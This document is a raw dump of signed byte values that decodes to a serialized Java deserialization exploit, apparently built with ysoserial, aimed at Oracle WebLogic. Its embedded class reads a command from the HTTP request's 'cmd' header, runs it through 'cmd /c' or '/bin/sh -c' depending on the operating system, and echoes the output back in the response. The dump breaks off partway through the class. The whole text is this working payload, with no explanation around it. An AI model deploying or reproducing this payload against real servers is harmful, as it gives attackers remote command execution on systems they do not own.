97 + + + 118 + + + 97 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 80 + + + 114 + + + 111 + + + 112 + + + 101 + + + 114 + + + 116 + + + 105 + + + 101 + + + 115 + + + 59 + + + 120 + + + 112 + + + 0 + + + 0 + + + 0 + + + 0 + + + -1 + + + -1 + + + -1 + + + -1 + + + 0 + + + 116 + + + 0 + + + 3 + + + 97 + + + 108 + + + 108 + + + 112 + + + 117 + + + 114 + + + 0 + + + 3 + + + 91 + + + 91 + + + 66 + + + 75 + + + -3 + + + 25 + + + 21 + + + 103 + + + 103 + + + -37 + + + 55 + + + 2 + + + 0 + + + 0 + + + 120 + + + 112 + + + 0 + + + 0 + + + 0 + + + 2 + + + 117 + + + 114 + + + 0 + + + 2 + + + 91 + + + 66 + + + -84 + + + -13 + + + 23 + + + -8 + + + 6 + + + 8 + + + 84 + + + -32 + + + 2 + + + 0 + + + 0 + + + 120 + + + 112 + + + 0 + + + 0 + + + 14 + + + 29 + + + -54 + + + -2 + + + -70 + + + -66 + + + 0 + + + 0 + + + 0 + + + 50 + + + 0 + + + -70 + + + 10 + + + 0 + + + 3 + + + 0 + + + 34 + + + 7 + + + 0 + + + -72 + + + 7 + + + 0 + + + 37 + + + 7 + + + 0 + + + 38 + + + 1 + + + 0 + + + 16 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 86 + + + 101 + + + 114 + + + 115 + + + 105 + + + 111 + + + 110 + + + 85 + + + 73 + + + 68 + + + 1 + + + 0 + + + 1 + + + 74 + + + 1 + + + 0 + + + 13 + + + 67 + + + 111 + + + 110 + + + 115 + + + 116 + + + 97 + + + 110 + + + 116 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 5 + + + -83 + + + 32 + + + -109 + + + -13 + + + -111 + + + -35 + + + -17 + + + 62 + + + 1 + + + 0 + + + 6 + + + 60 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 3 + + + 40 + + + 41 + + + 86 + + + 1 + + + 0 + + + 4 + + + 67 + + + 111 + + + 100 + + + 101 + + + 1 + + + 0 + + + 15 + + + 76 + + + 105 + + + 110 + + + 101 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 18 + + + 76 + + + 111 + + + 99 + + + 97 + + + 108 + + + 86 + + + 97 + + + 114 + + + 105 + + + 97 + + + 98 + + + 108 + + + 101 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 4 + + + 116 + + + 104 + + + 105 + + + 115 + + + 1 + + + 0 + + + 19 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 1 + + + 0 + + + 12 + + + 73 + + + 110 + + + 110 + + + 101 + + + 114 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 101 + + + 115 + + + 1 + + + 0 + + + 53 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 59 + + + 1 + + + 0 + + + 9 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 1 + + + 0 + + + 114 + + + 40 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 91 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 41 + + + 86 + + + 1 + + + 0 + + + 8 + + + 100 + + + 111 + + + 99 + + + 117 + + + 109 + + + 101 + + + 110 + + + 116 + + + 1 + + + 0 + + + 45 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 1 + + + 0 + + + 8 + + + 104 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 115 + + + 1 + + + 0 + + + 66 + + + 91 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 1 + + + 0 + + + 10 + + + 69 + + + 120 + + + 99 + + + 101 + + + 112 + + + 116 + + + 105 + + + 111 + + + 110 + + + 115 + + + 7 + + + 0 + + + 39 + + + 1 + + + 0 + + + -90 + + + 40 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 100 + + + 116 + + + 109 + + + 47 + + + 68 + + + 84 + + + 77 + + + 65 + + + 120 + + + 105 + + + 115 + + + 73 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 59 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 41 + + + 86 + + + 1 + + + 0 + + + 8 + + + 105 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 1 + + + 0 + + + 53 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 100 + + + 116 + + + 109 + + + 47 + + + 68 + + + 84 + + + 77 + + + 65 + + + 120 + + + 105 + + + 115 + + + 73 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 59 + + + 1 + + + 0 + + + 7 + + + 104 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 1 + + + 0 + + + 65 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 1 + + + 0 + + + 10 + + + 83 + + + 111 + + + 117 + + + 114 + + + 99 + + + 101 + + + 70 + + + 105 + + + 108 + + + 101 + + + 1 + + + 0 + + + 12 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 46 + + + 106 + + + 97 + + + 118 + + + 97 + + + 12 + + + 0 + + + 10 + + + 0 + + + 11 + + + 7 + + + 0 + + + 40 + + + 1 + + + 0 + + + 51 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 1 + + + 0 + + + 64 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 114 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 47 + + + 65 + + + 98 + + + 115 + + + 116 + + + 114 + + + 97 + + + 99 + + + 116 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 1 + + + 0 + + + 20 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 57 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 69 + + + 120 + + + 99 + + + 101 + + + 112 + + + 116 + + + 105 + + + 111 + + + 110 + + + 1 + + + 0 + + + 31 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 1 + + + 0 + + + 8 + + + 60 + + + 99 + + + 108 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 7 + + + 0 + + + 42 + + + 1 + + + 0 + + + 13 + + + 99 + + + 117 + + + 114 + + + 114 + + + 101 + + + 110 + + + 116 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 1 + + + 0 + + + 20 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 59 + + + 12 + + + 0 + + + 44 + + + 0 + + + 45 + + + 10 + + + 0 + + + 43 + + + 0 + + + 46 + + + 1 + + + 0 + + + 27 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 119 + + + 111 + + + 114 + + + 107 + + + 47 + + + 69 + + + 120 + + + 101 + + + 99 + + + 117 + + + 116 + + + 101 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 7 + + + 0 + + + 48 + + + 1 + + + 0 + + + 14 + + + 103 + + + 101 + + + 116 + + + 67 + + + 117 + + + 114 + + + 114 + + + 101 + + + 110 + + + 116 + + + 87 + + + 111 + + + 114 + + + 107 + + + 1 + + + 0 + + + 29 + + + 40 + + + 41 + + + 76 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 119 + + + 111 + + + 114 + + + 107 + + + 47 + + + 87 + + + 111 + + + 114 + + + 107 + + + 65 + + + 100 + + + 97 + + + 112 + + + 116 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + 50 + + + 0 + + + 51 + + + 10 + + + 0 + + + 49 + + + 0 + + + 52 + + + 1 + + + 0 + + + 44 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 82 + + + 101 + + + 113 + + + 117 + + + 101 + + + 115 + + + 116 + + + 73 + + + 109 + + + 112 + + + 108 + + + 7 + + + 0 + + + 54 + + + 1 + + + 0 + + + 3 + + + 99 + + + 109 + + + 100 + + + 8 + + + 0 + + + 56 + + + 1 + + + 0 + + + 9 + + + 103 + + + 101 + + + 116 + + + 72 + + + 101 + + + 97 + + + 100 + + + 101 + + + 114 + + + 1 + + + 0 + + + 38 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 12 + + + 0 + + + 58 + + + 0 + + + 59 + + + 10 + + + 0 + + + 55 + + + 0 + + + 60 + + + 1 + + + 0 + + + 11 + + + 103 + + + 101 + + + 116 + + + 82 + + + 101 + + + 115 + + + 112 + + + 111 + + + 110 + + + 115 + + + 101 + + + 1 + + + 0 + + + 49 + + + 40 + + + 41 + + + 76 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 82 + + + 101 + + + 115 + + + 112 + + + 111 + + + 110 + + + 115 + + + 101 + + + 73 + + + 109 + + + 112 + + + 108 + + + 59 + + + 12 + + + 0 + + + 62 + + + 0 + + + 63 + + + 10 + + + 0 + + + 55 + + + 0 + + + 64 + + + 1 + + + 0 + + + 3 + + + 71 + + + 66 + + + 75 + + + 8 + + + 0 + + + 66 + + + 1 + + + 0 + + + 45 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 82 + + + 101 + + + 115 + + + 112 + + + 111 + + + 110 + + + 115 + + + 101 + + + 73 + + + 109 + + + 112 + + + 108 + + + 7 + + + 0 + + + 68 + + + 1 + + + 0 + + + 20 + + + 115 + + + 101 + + + 116 + + + 67 + + + 104 + + + 97 + + + 114 + + + 97 + + + 99 + + + 116 + + + 101 + + + 114 + + + 69 + + + 110 + + + 99 + + + 111 + + + 100 + + + 105 + + + 110 + + + 103 + + + 1 + + + 0 + + + 21 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 70 + + + 0 + + + 71 + + + 10 + + + 0 + + + 69 + + + 0 + + + 72 + + + 1 + + + 0 + + + 22 + + + 103 + + + 101 + + + 116 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 79 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 1 + + + 0 + + + 53 + + + 40 + + + 41 + + + 76 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 79 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 73 + + + 109 + + + 112 + + + 108 + + + 59 + + + 12 + + + 0 + + + 74 + + + 0 + + + 75 + + + 10 + + + 0 + + + 69 + + + 0 + + + 76 + + + 1 + + + 0 + + + 35 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 7 + + + 0 + + + 78 + + + 1 + + + 0 + + + 22 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 66 + + + 117 + + + 102 + + + 102 + + + 101 + + + 114 + + + 7 + + + 0 + + + 80 + + + 10 + + + 0 + + + 81 + + + 0 + + + 34 + + + 1 + + + 0 + + + 6 + + + 97 + + + 112 + + + 112 + + + 101 + + + 110 + + + 100 + + + 1 + + + 0 + + + 44 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 66 + + + 117 + + + 102 + + + 102 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + 83 + + + 0 + + + 84 + + + 10 + + + 0 + + + 81 + + + 0 + + + 85 + + + 1 + + + 0 + + + 5 + + + 32 + + + 58 + + + 32 + + + 13 + + + 10 + + + 8 + + + 0 + + + 87 + + + 1 + + + 0 + + + 8 + + + 116 + + + 111 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 1 + + + 0 + + + 20 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 12 + + + 0 + + + 89 + + + 0 + + + 90 + + + 10 + + + 0 + + + 81 + + + 0 + + + 91 + + + 12 + + + 0 + + + 10 + + + 0 + + + 71 + + + 10 + + + 0 + + + 79 + + + 0 + + + 93 + + + 1 + + + 0 + + + 49 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 79 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 73 + + + 109 + + + 112 + + + 108 + + + 7 + + + 0 + + + 95 + + + 1 + + + 0 + + + 11 + + + 119 + + + 114 + + + 105 + + + 116 + + + 101 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 1 + + + 0 + + + 24 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 97 + + + 0 + + + 98 + + + 10 + + + 0 + + + 96 + + + 0 + + + 99 + + + 1 + + + 0 + + + 5 + + + 102 + + + 108 + + + 117 + + + 115 + + + 104 + + + 12 + + + 0 + + + 101 + + + 0 + + + 11 + + + 10 + + + 0 + + + 96 + + + 0 + + + 102 + + + 1 + + + 0 + + + 7 + + + 111 + + + 115 + + + 46 + + + 110 + + + 97 + + + 109 + + + 101 + + + 8 + + + 0 + + + 104 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 121 + + + 115 + + + 116 + + + 101 + + + 109 + + + 7 + + + 0 + + + 106 + + + 1 + + + 0 + + + 11 + + + 103 + + + 101 + + + 116 + + + 80 + + + 114 + + + 111 + + + 112 + + + 101 + + + 114 + + + 116 + + + 121 + + + 12 + + + 0 + + + 108 + + + 0 + + + 59 + + + 10 + + + 0 + + + 107 + + + 0 + + + 109 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 7 + + + 0 + + + 111 + + + 1 + + + 0 + + + 11 + + + 116 + + + 111 + + + 76 + + + 111 + + + 119 + + + 101 + + + 114 + + + 67 + + + 97 + + + 115 + + + 101 + + + 12 + + + 0 + + + 113 + + + 0 + + + 90 + + + 10 + + + 0 + + + 112 + + + 0 + + + 114 + + + 1 + + + 0 + + + 3 + + + 119 + + + 105 + + + 110 + + + 8 + + + 0 + + + 116 + + + 1 + + + 0 + + + 8 + + + 99 + + + 111 + + + 110 + + + 116 + + + 97 + + + 105 + + + 110 + + + 115 + + + 1 + + + 0 + + + 27 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 104 + + + 97 + + + 114 + + + 83 + + + 101 + + + 113 + + + 117 + + + 101 + + + 110 + + + 99 + + + 101 + + + 59 + + + 41 + + + 90 + + + 12 + + + 0 + + + 118 + + + 0 + + + 119 + + + 10 + + + 0 + + + 112 + + + 0 + + + 120 + + + 1 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 82 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 7 + + + 0 + + + 122 + + + 1 + + + 0 + + + 10 + + + 103 + + + 101 + + + 116 + + + 82 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 1 + + + 0 + + + 21 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 82 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 59 + + + 12 + + + 0 + + + 124 + + + 0 + + + 125 + + + 10 + + + 0 + + + 123 + + + 0 + + + 126 + + + 1 + + + 0 + + + 7 + + + 99 + + + 109 + + + 100 + + + 32 + + + 47 + + + 99 + + + 32 + + + 8 + + + 0 + + + -128 + + + 1 + + + 0 + + + 4 + + + 101 + + + 120 + + + 101 + + + 99 + + + 1 + + + 0 + + + 39 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 80 + + + 114 + + + 111 + + + 99 + + + 101 + + + 115 + + + 115 + + + 59 + + + 12 + + + 0 + + + -126 + + + 0 + + + -125 + + + 10 + + + 0 + + + 123 + + + 0 + + + -124 + + + 1 + + + 0 + + + 11 + + + 47 + + + 98 + + + 105 + + + 110 + + + 47 + + + 115 + + + 104 + + + 32 + + + 45 + + + 99 + + + 32 + + + 8 + + + 0 + + + -122 + + + 1 + + + 0 + + + 22 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 66 + + + 117 + + + 102 + + + 102 + + + 101 + + + 114 + + + 101 + + + 100 + + + 82 + + + 101 + + + 97 + + + 100 + + + 101 + + + 114 + + + 7 + + + 0 + + + -120 + + + 1 + + + 0 + + + 25 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 82 + + + 101 + + + 97 + + + 100 + + + 101 + + + 114 + + + 7 + + + 0 + + + -118 + + + 1 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 80 + + + 114 + + + 111 + + + 99 + + + 101 + + + 